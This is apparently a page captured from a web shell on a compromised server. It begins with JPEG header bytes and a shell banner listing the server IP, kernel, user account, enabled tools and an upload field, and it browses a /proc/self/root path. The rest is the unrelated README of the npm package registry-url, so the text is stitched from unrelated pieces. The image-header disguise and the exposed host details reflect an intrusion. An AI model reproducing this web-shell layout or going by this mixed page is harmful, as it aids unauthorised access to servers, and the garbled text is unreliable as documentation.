����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.28 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/proc/self/root/lib/node_modules/npm/node_modules/registry-url/ |
Upload File : |
# registry-url [](https://travis-ci.org/sindresorhus/registry-url)
> Get the set npm registry URL
It's usually `https://registry.npmjs.org/`, but [configurable](https://www.npmjs.org/doc/misc/npm-config.html#registry).
Use this if you do anything with the npm registry as users will expect it to use their configured registry.
## Install
```
$ npm install --save registry-url
```
## Usage
```ini
# .npmrc
registry = 'https://custom-registry.com/'
```
```js
const registryUrl = require('registry-url');
console.log(registryUrl());
//=> 'https://custom-registry.com/'
```
It can also retrieve the registry URL associated with an [npm scope](https://docs.npmjs.com/misc/scope).
```ini
# .npmrc
@myco:registry = 'https://custom-registry.com/'
```
```js
const registryUrl = require('registry-url');
console.log(registryUrl('@myco'));
//=> 'https://custom-registry.com/'
```
If the provided scope is not in the user's `.npmrc` file, then `registry-url` will check for the existence of `registry`, or if that's not set, fallback to the default npm registry.
## License
MIT © [Sindre Sorhus](http://sindresorhus.com)